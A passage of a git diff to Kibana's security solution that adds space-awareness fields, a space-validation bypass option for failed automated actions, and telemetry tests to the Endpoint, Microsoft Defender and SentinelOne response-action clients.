describe('EndpointActionsClient', () => { }, agent: { id: ['1-2-3'], + policy: [ + { + agentId: '1-2-3', + agentPolicyId: expect.any(String), + elasticAgentId: '1-2-3', + integrationPolicyId: expect.any(String), + }, + ], }, + originSpaceId: 'default', + tags: [], user: { id: 'foo', }, @@ -198,7 +224,17 @@ describe('EndpointActionsClient', () => { }, agent: { id: ['1-2-3'], + policy: [ + { + agentId: '1-2-3', + agentPolicyId: expect.any(String), + elasticAgentId: '1-2-3', + integrationPolicyId: expect.any(String), + }, + ], }, + originSpaceId: 'default', + tags: [], user: { id: 'foo', }, @@ -596,5 +632,52 @@ describe('EndpointActionsClient', () => { ).not.toHaveBeenCalled(); } ); + + it('should create failed action request for automated response actions', async () => { + classConstructorOptions.isAutomated = true; + // @ts-expect-error mocking this for testing purposes + endpointActionsClient.checkAgentIds = jest.fn().mockResolvedValueOnce({ + isValid: false, + valid: [], + invalid: ['invalid-id'], + hosts: [{ agent: { id: 'invalid-id', name: '' }, host: { hostname: '' } }], + }); + + await endpointActionsClient.isolate( + responseActionsClientMock.createIsolateOptions(getCommonResponseActionOptions()) + ); + + expect(classConstructorOptions.esClient.index).toHaveBeenCalledWith( + expect.objectContaining({ + document: expect.objectContaining({ + agent: { id: [], policy: [] }, + tags: [ALLOWED_ACTION_REQUEST_TAGS.integrationPolicyDeleted], + }), + }), + expect.anything() + ); + }); + + it('should return action details for failed automated response actions even when no valid agents', async () => { + classConstructorOptions.isAutomated = true; + // @ts-expect-error mocking this for testing purposes + endpointActionsClient.checkAgentIds = jest.fn().mockResolvedValueOnce({ + isValid: false, + valid: [], + invalid: ['invalid-id'], + hosts: [{ agent: { id: 'invalid-id', name: '' }, host: { hostname: '' } }], + }); + + await endpointActionsClient.isolate( + responseActionsClientMock.createIsolateOptions(getCommonResponseActionOptions()) + ); + + expect(getActionDetailsByIdMock).toHaveBeenCalledWith( + expect.anything(), + expect.anything(), + expect.anything(), + { bypassSpaceValidation: true } + ); + }); }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/endpoint/endpoint_actions_client.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/endpoint/endpoint_actions_client.ts index f2086770cf1da..e3af5e1837c07 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/endpoint/endpoint_actions_client.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/endpoint/endpoint_actions_client.ts @@ -195,7 +195,10 @@ export class EndpointActionsClient extends ResponseActionsClientImpl { }), }); - return this.fetchActionDetails(actionId); + // We bypass space validation when retrieving the action details to ensure that if a failed + // action was created, and it did not contain the agent policy information (and space is enabled) + // we don't trigger an error. + return this.fetchActionDetails(actionId, true); } private async dispatchActionViaFleet({ diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/lib/base_response_actions_client.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/lib/base_response_actions_client.test.ts index ea6e37d1665f0..d6c831ad2a58f 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/lib/base_response_actions_client.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/lib/base_response_actions_client.test.ts @@ -293,7 +293,8 @@ describe('ResponseActionsClientImpl base class', () => { expect(getActionDetailsByIdMock).toHaveBeenCalledWith( expect.anything(), expect.anything(), - 'one' + 'one', + { bypassSpaceValidation: false } ); }); }); @@ -343,10 +344,20 @@ describe('ResponseActionsClientImpl base class', () => { input_type: 'endpoint', type: 'INPUT_ACTION', }, - // @ts-expect-error missing `agent.policy`, which will only be present if space awareness is enabled agent: { id: ['one'], + policy: [ + { + agentId: 'one', + agentPolicyId: expect.any(String), + elasticAgentId: 'one', + integrationPolicyId: expect.any(String), + }, + ], }, + originSpaceId: 'default', + tags: [], + meta: undefined, user: { id: 'foo', }, @@ -510,7 +521,19 @@ describe('ResponseActionsClientImpl base class', () => { input_type: 'endpoint', type: 'INPUT_ACTION', }, - agent: { id: ['one'] }, + agent: { + id: ['one'], + policy: [ + { + agentId: 'one', + agentPolicyId: expect.any(String), + elasticAgentId: 'one', + integrationPolicyId: expect.any(String), + }, + ], + }, + originSpaceId: 'default', + tags: [], meta: { one: 1 }, user: { id: 'foo' }, }); @@ -557,11 +580,6 @@ describe('ResponseActionsClientImpl base class', () => { }); describe('Telemetry', () => { - beforeEach(() => { - // @ts-expect-error - endpointAppContextService.experimentalFeatures.responseActionsTelemetryEnabled = true; - }); - it('should send action creation success telemetry for manual actions', async () => { await baseClassMock.writeActionRequestToEndpointIndex(indexDocOptions); diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/lib/base_response_actions_client.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/lib/base_response_actions_client.ts index 6b313f68e4d31..8bde3c95d0f69 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/lib/base_response_actions_client.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/lib/base_response_actions_client.ts @@ -16,6 +16,7 @@ import type { QueryDslQueryContainer } from '@elastic/elasticsearch/lib/api/type import type { PackagePolicy } from '@kbn/fleet-plugin/common'; import { PACKAGE_POLICY_SAVED_OBJECT_TYPE } from '@kbn/fleet-plugin/common'; import type { ResponseActionRequestTag } from '../../constants'; +import { ALLOWED_ACTION_REQUEST_TAGS } from '../../constants'; import { getUnExpiredActionsEsQuery } from '../../utils/fetch_space_ids_with_maybe_pending_actions'; import { catchAndWrapError } from '../../../../utils'; import { @@ -452,12 +453,20 @@ export abstract class ResponseActionsClientImpl implements ResponseActionsClient /** * Returns the action details for a given response action id * @param actionId + * @param bypassSpaceValidation * @protected */ protected async fetchActionDetails( - actionId: string + actionId: string, + /** + * if `true`, then no space validations will be done on the action retrieved. Default is `false`. + * USE IT CAREFULLY! + */ + bypassSpaceValidation: boolean = false ): Promise { - return getActionDetailsById(this.options.endpointService, this.options.spaceId, actionId); + return getActionDetailsById(this.options.endpointService, this.options.spaceId, actionId, { + bypassSpaceValidation, + }); } /** @@ -611,6 +620,22 @@ export abstract class ResponseActionsClientImpl implements ResponseActionsClient this.notifyUsage(actionRequest.command); + const actionId = actionRequest.actionId || uuidv4(); + const tags = actionRequest.tags ?? []; + + // With automated response action, it's possible to reach this point and not have any `endpoint_ids` + // defined in the action. That's because with automated response actions we always create an + // action request, even when there is a failure - like if the agent was un-enrolled in between + // the event sent and the detection engine processing that event. + const agentPolicyInfo = + isSpacesEnabled && actionRequest.endpoint_ids.length + ? await this.fetchAgentPolicyInfo(actionRequest.endpoint_ids) + : []; + + if (isSpacesEnabled && agentPolicyInfo.length === 0) { + tags.push(ALLOWED_ACTION_REQUEST_TAGS.integrationPolicyDeleted); + } + const doc: LogsEndpointAction = { '@timestamp': new Date().toISOString(), @@ -618,7 +643,7 @@ export abstract class ResponseActionsClientImpl implements ResponseActionsClient ...(isSpacesEnabled ? { originSpaceId: this.options.spaceId } : {}), // Add `tags` property to the document if spaces is enabled - ...(isSpacesEnabled ? { tags: actionRequest.tags ?? [] } : {}), + ...(isSpacesEnabled ? { tags } : {}), // Need to suppress this TS error around `agent.policy` not supporting `undefined`. // It will be removed once we enable the feature and delete the feature flag checks. @@ -626,14 +651,10 @@ export abstract class ResponseActionsClientImpl implements ResponseActionsClient agent: { id: actionRequest.endpoint_ids, // add the `policy` info if space awareness is enabled - ...(isSpacesEnabled - ? { - policy: await this.fetchAgentPolicyInfo(actionRequest.endpoint_ids), - } - : {}), + ...(isSpacesEnabled ? { policy: agentPolicyInfo } : {}), }, EndpointActions: { - action_id: actionRequest.actionId || uuidv4(), + action_id: actionId, expiration: getActionRequestExpiration(), type: 'INPUT_ACTION', input_type: this.agentType, diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/microsoft/defender/endpoint/ms_defender_endpoint_actions_client.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/microsoft/defender/endpoint/ms_defender_endpoint_actions_client.test.ts index f413fb7d69393..a100537589643 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/microsoft/defender/endpoint/ms_defender_endpoint_actions_client.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/microsoft/defender/endpoint/ms_defender_endpoint_actions_client.test.ts @@ -32,6 +32,10 @@ import { MICROSOFT_DEFENDER_ENDPOINT_SUB_ACTION } from '@kbn/stack-connectors-pl import { MICROSOFT_DEFENDER_ENDPOINT_LOG_INDEX_PATTERN } from '../../../../../../../../common/endpoint/service/response_actions/microsoft_defender'; import { MicrosoftDefenderDataGenerator } from '../../../../../../../../common/endpoint/data_generators/microsoft_defender_data_generator'; import { AgentNotFoundError } from '@kbn/fleet-plugin/server'; +import { + ENDPOINT_RESPONSE_ACTION_SENT_EVENT, + ENDPOINT_RESPONSE_ACTION_STATUS_CHANGE_EVENT, +} from '../../../../../../../lib/telemetry/event_based/events'; jest.mock('../../../../action_details_by_id', () => { const originalMod = jest.requireActual('../../../../action_details_by_id'); @@ -54,6 +58,23 @@ describe('MS Defender response actions client', () => { connectorActionsMock = clientConstructorOptionsMock.connectorActions as NormalizedExternalConnectorClientMock; msClientMock = new MicrosoftDefenderEndpointActionsClient(clientConstructorOptionsMock); + + getActionDetailsByIdMock.mockImplementation(async (_, __, id: string) => { + return new EndpointActionGenerator('seed').generateActionDetails({ + id, + }); + }); + + const fleetServices = clientConstructorOptionsMock.endpointService.getInternalFleetServices(); + const ensureInCurrentSpaceMock = jest.spyOn(fleetServices, 'ensureInCurrentSpace'); + + ensureInCurrentSpaceMock.mockResolvedValue(undefined); + + const getInternalFleetServicesMock = jest.spyOn( + clientConstructorOptionsMock.endpointService, + 'getInternalFleetServices' + ); + getInternalFleetServicesMock.mockReturnValue(fleetServices); }); const supportedResponseActionClassMethods: Record = { @@ -147,7 +168,17 @@ describe('MS Defender response actions client', () => { }, agent: { id: ['1-2-3'], + policy: [ + { + agentId: '1-2-3', + agentPolicyId: expect.any(String), + elasticAgentId: '1-2-3', + integrationPolicyId: expect.any(String), + }, + ], }, + originSpaceId: 'default', + tags: [], meta: { machineActionId: '5382f7ea-7557-4ab7-9782-d50480024a4e', }, @@ -169,7 +200,7 @@ describe('MS Defender response actions client', () => { expect.objectContaining({ id: expect.any(String), command: expect.any(String), - isCompleted: false, + isCompleted: expect.any(Boolean), }) ); expect(getActionDetailsByIdMock).toHaveBeenCalled(); @@ -184,6 +215,22 @@ describe('MS Defender response actions client', () => { expect(clientConstructorOptionsMock.casesClient?.attachments.bulkCreate).toHaveBeenCalled(); }); + + describe('telemetry events', () => { + it(`should send ${responseActionMethod} action creation telemetry event`, async () => { + await msClientMock[responseActionMethod](responseActionsClientMock.createIsolateOptions()); + expect( + clientConstructorOptionsMock.endpointService.getTelemetryService().reportEvent + ).toHaveBeenCalledWith(ENDPOINT_RESPONSE_ACTION_SENT_EVENT.eventType, { + responseActions: { + actionId: expect.any(String), + agentType: 'microsoft_defender_endpoint', + command: responseActionMethod === 'release' ? 'unisolate' : responseActionMethod, + isAutomated: false, + }, + }); + }); + }); }); describe('#runscript()', () => { @@ -248,7 +295,17 @@ describe('MS Defender response actions client', () => { }, agent: { id: ['1-2-3'], + policy: [ + { + agentId: '1-2-3', + agentPolicyId: expect.any(String), + elasticAgentId: '1-2-3', + integrationPolicyId: expect.any(String), + }, + ], }, + originSpaceId: 'default', + tags: [], meta: { machineActionId: '5382f7ea-7557-4ab7-9782-d50480024a4e', }, @@ -361,6 +418,26 @@ describe('MS Defender response actions client', () => { }) ); }); + + describe('telemetry event', () => { + it('should send runscript action creation telemetry event', async () => { + await msClientMock.runscript( + responseActionsClientMock.createRunScriptOptions({ + parameters: { scriptName: 'test-script.ps1', args: 'arg1 arg2' }, + }) + ); + expect( + clientConstructorOptionsMock.endpointService.getTelemetryService().reportEvent + ).toHaveBeenCalledWith(ENDPOINT_RESPONSE_ACTION_SENT_EVENT.eventType, { + responseActions: { + actionId: expect.any(String), + agentType: 'microsoft_defender_endpoint', + command: 'runscript', + isAutomated: false, + }, + }); + }); + }); }); describe('#getFileInfo()', () => { @@ -1061,6 +1138,183 @@ describe('MS Defender response actions client', () => { } ); }); + + describe('telemetry events', () => { + describe('for Isolate and Release', () => { + let msMachineActionsApiResponse: MicrosoftDefenderEndpointGetActionsResponse; + + beforeEach(() => { + const generator = new EndpointActionGenerator('seed'); + + const actionRequestsSearchResponse = generator.toEsSearchResponse([ + generator.generateActionEsHit< + undefined, + {}, + MicrosoftDefenderEndpointActionRequestCommonMeta + >({ + agent: { id: 'agent-uuid-1' }, + EndpointActions: { + data: { command: 'isolate' }, + input_type: 'microsoft_defender_endpoint', + }, + meta: { machineActionId: '5382f7ea-7557-4ab7-9782-d50480024a4e' }, + }), + ]); + + applyEsClientSearchMock({ + esClientMock: clientConstructorOptionsMock.esClient, + index: ENDPOINT_ACTIONS_INDEX, + response: jest + .fn(() => generator.toEsSearchResponse([])) + .mockReturnValueOnce(actionRequestsSearchResponse), + pitUsage: true, + }); + + msMachineActionsApiResponse = microsoftDefenderMock.createGetActionsApiResponse(); + responseActionsClientMock.setConnectorActionsClientExecuteResponse( + connectorActionsMock, + MICROSOFT_DEFENDER_ENDPOINT_SUB_ACTION.GET_ACTIONS, + msMachineActionsApiResponse + ); + + const msGetActionResultsApiResponse = + microsoftDefenderMock.createGetActionResultsApiResponse(); + + // Set the mock response for GET_ACTION_RESULTS + responseActionsClientMock.setConnectorActionsClientExecuteResponse( + connectorActionsMock, + MICROSOFT_DEFENDER_ENDPOINT_SUB_ACTION.GET_ACTION_RESULTS, + msGetActionResultsApiResponse + ); + }); + + it.each` + msStatusValue | responseState + ${'Failed'} | ${'failed'} + ${'TimeOut'} | ${'failed'} + ${'Cancelled'} | ${'failed'} + ${'Succeeded'} | ${'successful'} + `( + 'should send telemetry for $responseState action response if MS machine action status is $msStatusValue', + async ({ msStatusValue, responseState }) => { + msMachineActionsApiResponse.value[0].status = msStatusValue; + + await msClientMock.processPendingActions(processPendingActionsOptions); + expect( + clientConstructorOptionsMock.endpointService.getTelemetryService().reportEvent + ).toHaveBeenCalledWith(ENDPOINT_RESPONSE_ACTION_STATUS_CHANGE_EVENT.eventType, { + responseActions: { + actionId: expect.any(String), + actionStatus: responseState, + agentType: 'microsoft_defender_endpoint', + command: 'isolate', + }, + }); + } + ); + }); + + describe('for Runscript', () => { + let msMachineActionsApiResponse: MicrosoftDefenderEndpointGetActionsResponse; + + beforeEach(() => { + // @ts-expect-error assign to readonly property + clientConstructorOptionsMock.endpointService.experimentalFeatures.microsoftDefenderEndpointRunScriptEnabled = + true; + + const generator = new EndpointActionGenerator('seed'); + + const actionRequestsSearchResponse = generator.toEsSearchResponse([ + generator.generateActionEsHit< + { scriptName: string }, + {}, + MicrosoftDefenderEndpointActionRequestCommonMeta + >({ + agent: { id: 'agent-uuid-1' }, + EndpointActions: { + data: { command: 'runscript', parameters: { scriptName: 'test-script.ps1' } }, + input_type: 'microsoft_defender_endpoint', + }, + meta: { machineActionId: '5382f7ea-7557-4ab7-9782-d50480024a4e' }, + }), + ]); + + applyEsClientSearchMock({ + esClientMock: clientConstructorOptionsMock.esClient, + index: ENDPOINT_ACTIONS_INDEX, + response: jest + .fn(() => generator.toEsSearchResponse([])) + .mockReturnValueOnce(actionRequestsSearchResponse), + pitUsage: true, + }); + + msMachineActionsApiResponse = microsoftDefenderMock.createGetActionsApiResponse(); + // Override the default machine action to be runscript-specific + msMachineActionsApiResponse.value[0] = { + ...msMachineActionsApiResponse.value[0], + type: 'LiveResponse', + commands: ['RunScript'], + }; + + responseActionsClientMock.setConnectorActionsClientExecuteResponse( + connectorActionsMock, + MICROSOFT_DEFENDER_ENDPOINT_SUB_ACTION.GET_ACTIONS, + msMachineActionsApiResponse + ); + + const msGetActionResultsApiResponse = + microsoftDefenderMock.createGetActionResultsApiResponse(); + + // Set the mock response for GET_ACTION_RESULTS + responseActionsClientMock.setConnectorActionsClientExecuteResponse( + connectorActionsMock, + MICROSOFT_DEFENDER_ENDPOINT_SUB_ACTION.GET_ACTION_RESULTS, + msGetActionResultsApiResponse + ); + }); + + it('should send telemetry for completed runscript actions', async () => { + await msClientMock.processPendingActions(processPendingActionsOptions); + + expect( + clientConstructorOptionsMock.endpointService.getTelemetryService().reportEvent + ).toHaveBeenCalledWith(ENDPOINT_RESPONSE_ACTION_STATUS_CHANGE_EVENT.eventType, { + responseActions: { + actionId: expect.any(String), + actionStatus: 'successful', + agentType: 'microsoft_defender_endpoint', + command: 'runscript', + }, + }); + }); + + it.each` + msStatusValue | responseState + ${'Failed'} | ${'failed'} + ${'TimeOut'} | ${'failed'} + ${'Cancelled'} | ${'failed'} + ${'Succeeded'} | ${'successful'} + `( + 'should generate $responseState action response if MS runscript machine action status is $msStatusValue', + async ({ msStatusValue, responseState }) => { + msMachineActionsApiResponse.value[0].status = msStatusValue; + + await msClientMock.processPendingActions(processPendingActionsOptions); + + expect( + clientConstructorOptionsMock.endpointService.getTelemetryService().reportEvent + ).toHaveBeenCalledWith(ENDPOINT_RESPONSE_ACTION_STATUS_CHANGE_EVENT.eventType, { + responseActions: { + actionId: expect.any(String), + actionStatus: responseState, + agentType: 'microsoft_defender_endpoint', + command: 'runscript', + }, + }); + } + ); + }); + }); }); describe('and space awareness is enabled', () => { diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/mocks.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/mocks.ts index 1d818cc38f61e..0a301f0fd7e7f 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/mocks.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/mocks.ts @@ -107,11 +107,17 @@ const createConstructorOptionsMock = (): Required { if (payload) { - switch (payload.index) { - case ENDPOINT_ACTIONS_INDEX: - return createActionRequestsEsSearchResultsMock(); - case ACTION_RESPONSE_INDICES: - return createActionResponsesEsSearchResultsMock(); + if ( + !Array.isArray(payload.index) && + (payload.index ?? '').startsWith( + ENDPOINT_ACTIONS_INDEX.substring(0, ENDPOINT_ACTIONS_INDEX.length - 1) + ) + ) { + return createActionRequestsEsSearchResultsMock(); + } + + if (payload.index === ACTION_RESPONSE_INDICES) { + return createActionResponsesEsSearchResultsMock(); } } @@ -208,6 +214,13 @@ const createConstructorOptionsMock = (): Required { }; const createConstructorOptionsMock = (): SentinelOneActionsClientOptionsMock => { - return { + const options = { ...responseActionsClientMock.createConstructorOptions(), connectorActions: responseActionsClientMock.createNormalizedExternalConnectorClient( createConnectorActionsClientMock() ), }; + + // Mock some of the Endpoint services methods + + // Mock some of the ES queries against S1 indexes + const esClientMock = options.esClient; + const generator = new SentinelOneDataGenerator('seed'); + + applyEsClientSearchMock({ + esClientMock, + index: SENTINEL_ONE_AGENT_INDEX_PATTERN, + response: set( + generator.generateAgentEsSearchResponse(), + 'hits.hits[0].inner_hits.most_recent.hits.hits[0]._source', + generator.generateAgentEsDoc({ sentinel_one: { agent: { agent: { id: '1-2-3' } } } }) + ), + }); + + return options; }; const createKillProcessOptionsMock = ( diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/sentinelone/sentinel_one_actions_client.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/sentinelone/sentinel_one_actions_client.test.ts index 60910b0c6ae3a..0d027c514f58b 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/sentinelone/sentinel_one_actions_client.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/sentinelone/sentinel_one_actions_client.test.ts @@ -51,10 +51,14 @@ import type { SentinelOneGetRemoteScriptStatusApiResponse, SentinelOneRemoteScriptExecutionStatus, } from '@kbn/stack-connectors-plugin/common/sentinelone/types'; -import { ENDPOINT_RESPONSE_ACTION_STATUS_CHANGE_EVENT } from '../../../../../lib/telemetry/event_based/events'; +import { + ENDPOINT_RESPONSE_ACTION_SENT_EVENT, + ENDPOINT_RESPONSE_ACTION_STATUS_CHANGE_EVENT, +} from '../../../../../lib/telemetry/event_based/events'; import { FleetPackagePolicyGenerator } from '../../../../../../common/endpoint/data_generators/fleet_package_policy_generator'; import { SENTINEL_ONE_AGENT_INDEX_PATTERN } from '../../../../../../common/endpoint/service/response_actions/sentinel_one'; import { AgentNotFoundError } from '@kbn/fleet-plugin/server'; +import { EndpointActionGenerator } from '../../../../../../common/endpoint/data_generators/endpoint_action_generator'; jest.mock('../../action_details_by_id', () => { const originalMod = jest.requireActual('../../action_details_by_id'); @@ -84,6 +88,21 @@ describe('SentinelOneActionsClient class', () => { connectorActionsMock = classConstructorOptions.connectorActions as DeeplyMockedKeys; s1ActionsClient = new SentinelOneActionsClient(classConstructorOptions); + + getActionDetailsByIdMock.mockResolvedValue( + new EndpointActionGenerator('seed').generateActionDetails({ id: 'abc' }) + ); + + const fleetServices = classConstructorOptions.endpointService.getInternalFleetServices(); + const ensureInCurrentSpaceMock = jest.spyOn(fleetServices, 'ensureInCurrentSpace'); + + ensureInCurrentSpaceMock.mockResolvedValue(undefined); + + const getInternalFleetServicesMock = jest.spyOn( + classConstructorOptions.endpointService, + 'getInternalFleetServices' + ); + getInternalFleetServicesMock.mockReturnValue(fleetServices); }); it.each(['suspendProcess', 'execute', 'upload', 'scan'] as Array)( @@ -148,7 +167,19 @@ describe('SentinelOneActionsClient class', () => { input_type: 'sentinel_one', type: 'INPUT_ACTION', }, - agent: { id: ['1-2-3'] }, + agent: { + id: ['1-2-3'], + policy: [ + { + agentId: '1-2-3', + agentPolicyId: expect.any(String), + elasticAgentId: '1-2-3', + integrationPolicyId: expect.any(String), + }, + ], + }, + originSpaceId: 'default', + tags: [], user: { id: 'foo' }, meta: { agentId: '1845174760470303882', @@ -208,7 +239,19 @@ describe('SentinelOneActionsClient class', () => { input_type: 'sentinel_one', type: 'INPUT_ACTION', }, - agent: { id: ['1-2-3'] }, + agent: { + id: ['1-2-3'], + policy: [ + { + agentId: '1-2-3', + agentPolicyId: expect.any(String), + elasticAgentId: '1-2-3', + integrationPolicyId: expect.any(String), + }, + ], + }, + originSpaceId: 'default', + tags: [], user: { id: 'foo' }, meta: { agentId: '1845174760470303882', @@ -238,6 +281,23 @@ describe('SentinelOneActionsClient class', () => { expect(classConstructorOptions.casesClient?.attachments.bulkCreate).toHaveBeenCalled(); }); + + describe('telemetry events', () => { + it('should send `isolate` action creation telemetry event', async () => { + await s1ActionsClient.isolate(createS1IsolationOptions()); + + expect( + classConstructorOptions.endpointService.getTelemetryService().reportEvent + ).toHaveBeenCalledWith(ENDPOINT_RESPONSE_ACTION_SENT_EVENT.eventType, { + responseActions: { + actionId: expect.any(String), + agentType: 'sentinel_one', + command: 'isolate', + isAutomated: false, + }, + }); + }); + }); }); describe('#release()', () => { @@ -282,7 +342,19 @@ describe('SentinelOneActionsClient class', () => { input_type: 'sentinel_one', type: 'INPUT_ACTION', }, - agent: { id: ['1-2-3'] }, + agent: { + id: ['1-2-3'], + policy: [ + { + agentId: '1-2-3', + agentPolicyId: expect.any(String), + elasticAgentId: '1-2-3', + integrationPolicyId: expect.any(String), + }, + ], + }, + originSpaceId: 'default', + tags: [], user: { id: 'foo' }, meta: { agentId: '1845174760470303882', @@ -313,7 +385,7 @@ describe('SentinelOneActionsClient class', () => { }); }); - it('should write action request (only) to endpoint indexes when `` is Enabled', async () => { + it('should write action request (only) to endpoint indexes when `responseActionsSentinelOneV2Enabled` is Enabled', async () => { // @ts-expect-error updating readonly attribute classConstructorOptions.endpointService.experimentalFeatures.responseActionsSentinelOneV2Enabled = true; @@ -341,13 +413,25 @@ describe('SentinelOneActionsClient class', () => { input_type: 'sentinel_one', type: 'INPUT_ACTION', }, - agent: { id: ['1-2-3'] }, + agent: { + id: ['1-2-3'], + policy: [ + { + agentId: '1-2-3', + agentPolicyId: expect.any(String), + elasticAgentId: '1-2-3', + integrationPolicyId: expect.any(String), + }, + ], + }, user: { id: 'foo' }, meta: { agentId: '1845174760470303882', agentUUID: '1-2-3', hostName: 'sentinelone-1460', }, + originSpaceId: 'default', + tags: [], }, index: ENDPOINT_ACTIONS_INDEX, refresh: 'wait_for', @@ -371,6 +455,23 @@ describe('SentinelOneActionsClient class', () => { expect(classConstructorOptions.casesClient?.attachments.bulkCreate).toHaveBeenCalled(); }); + + describe('telemetry events', () => { + it('should send `release` action creation telemetry event', async () => { + await s1ActionsClient.release(createS1IsolationOptions()); + + expect( + classConstructorOptions.endpointService.getTelemetryService().reportEvent + ).toHaveBeenCalledWith(ENDPOINT_RESPONSE_ACTION_SENT_EVENT.eventType, { + responseActions: { + actionId: expect.any(String), + agentType: 'sentinel_one', + command: 'unisolate', + isAutomated: false, + }, + }); + }); + }); }); describe('#processPendingActions()', () => { @@ -915,12 +1016,7 @@ describe('SentinelOneActionsClient class', () => { }); }); - describe('Telemetry', () => { - beforeEach(() => { - // @ts-expect-error - classConstructorOptions.endpointService.experimentalFeatures.responseActionsTelemetryEnabled = - true; - }); + describe('telemetry events', () => { describe('for Isolate and Release', () => { let s1ActivityHits: Array>; @@ -1294,7 +1390,19 @@ describe('SentinelOneActionsClient class', () => { input_type: 'sentinel_one', type: 'INPUT_ACTION', }, - agent: { id: ['1-2-3'] }, + agent: { + id: ['1-2-3'], + policy: [ + { + agentId: '1-2-3', + agentPolicyId: expect.any(String), + elasticAgentId: '1-2-3', + integrationPolicyId: expect.any(String), + }, + ], + }, + originSpaceId: 'default', + tags: [], user: { id: 'foo' }, error: { // The error message here is "not supported" because `get-file` is not currently supported @@ -1359,7 +1467,19 @@ describe('SentinelOneActionsClient class', () => { input_type: 'sentinel_one', type: 'INPUT_ACTION', }, - agent: { id: ['1-2-3'] }, + agent: { + id: ['1-2-3'], + policy: [ + { + agentId: '1-2-3', + agentPolicyId: expect.any(String), + elasticAgentId: '1-2-3', + integrationPolicyId: expect.any(String), + }, + ], + }, + originSpaceId: 'default', + tags: [], user: { id: 'foo' }, meta: { agentId: '1845174760470303882', @@ -1377,7 +1497,7 @@ describe('SentinelOneActionsClient class', () => { }); it('should return action details', async () => { - await expect(s1ActionsClient.getFile(getFileReqOptions)).resolves.toEqual( + await expect(s1ActionsClient.getFile(getFileReqOptions)).resolves.toMatchObject( // Only validating that a ActionDetails is returned. The data is mocked, // so it does not make sense to validate the property values { @@ -1392,7 +1512,6 @@ describe('SentinelOneActionsClient class', () => { id: expect.any(String), isCompleted: expect.any(Boolean), isExpired: expect.any(Boolean), - outputs: expect.any(Object), startedAt: expect.any(String), status: expect.any(String), wasSuccessful: expect.any(Boolean), @@ -1407,6 +1526,23 @@ describe('SentinelOneActionsClient class', () => { expect(classConstructorOptions.casesClient?.attachments.bulkCreate).toHaveBeenCalled(); }); + + describe('telemetry events', () => { + it('should send `get-file` action creation telemetry event', async () => { + await s1ActionsClient.getFile(getFileReqOptions); + + expect( + classConstructorOptions.endpointService.getTelemetryService().reportEvent + ).toHaveBeenCalledWith(ENDPOINT_RESPONSE_ACTION_SENT_EVENT.eventType, { + responseActions: { + actionId: expect.any(String), + agentType: 'sentinel_one', + command: 'get-file', + isAutomated: false, + }, + }); + }); + }); }); describe('#getFileInfo()', () => { @@ -1440,7 +1576,7 @@ describe('SentinelOneActionsClient class', () => { classConstructorOptions.endpointService.experimentalFeatures.responseActionsSentinelOneGetFileEnabled = false; - await expect(s1ActionsClient.getFileInfo('acb', '123')).rejects.toThrow( + await expect(s1ActionsClient.getFileInfo('abc', '123')).rejects.toThrow( 'File downloads are not supported for sentinel_one agent type. Feature disabled' ); }); @@ -1556,7 +1692,7 @@ describe('SentinelOneActionsClient class', () => { classConstructorOptions.endpointService.experimentalFeatures.responseActionsSentinelOneProcessesEnabled = false; - await expect(s1ActionsClient.getFileDownload('acb', '123')).rejects.toThrow( + await expect(s1ActionsClient.getFileDownload('abc', '123')).rejects.toThrow( 'File downloads are not supported for sentinel_one agent type. Feature disabled' ); }); @@ -1776,7 +1912,19 @@ describe('SentinelOneActionsClient class', () => { input_type: 'sentinel_one', type: 'INPUT_ACTION', }, - agent: { id: ['1-2-3'] }, + agent: { + id: ['1-2-3'], + policy: [ + { + agentId: '1-2-3', + agentPolicyId: expect.any(String), + elasticAgentId: '1-2-3', + integrationPolicyId: expect.any(String), + }, + ], + }, + originSpaceId: 'default', + tags: [], user: { id: 'foo' }, meta: { agentId: '1845174760470303882', @@ -1801,6 +1949,23 @@ describe('SentinelOneActionsClient class', () => { expect(classConstructorOptions.casesClient?.attachments.bulkCreate).toHaveBeenCalled(); }); + + describe('telemetry events', () => { + it('should send `kill-process` action creation telemetry event', async () => { + await s1ActionsClient.killProcess(killProcessActionRequest); + + expect( + classConstructorOptions.endpointService.getTelemetryService().reportEvent + ).toHaveBeenCalledWith(ENDPOINT_RESPONSE_ACTION_SENT_EVENT.eventType, { + responseActions: { + actionId: expect.any(String), + agentType: 'sentinel_one', + command: 'kill-process', + isAutomated: false, + }, + }); + }); + }); }); describe('#runningProcesses()', () => { @@ -1916,7 +2081,19 @@ describe('SentinelOneActionsClient class', () => { input_type: 'sentinel_one', type: 'INPUT_ACTION', }, - agent: { id: ['1-2-3'] }, + agent: { + id: ['1-2-3'], + policy: [ + { + agentId: '1-2-3', + agentPolicyId: expect.any(String), + elasticAgentId: '1-2-3', + integrationPolicyId: expect.any(String), + }, + ], + }, + originSpaceId: 'default', + tags: [], meta: { agentId: '1845174760470303882', agentUUID: '1-2-3', @@ -1960,6 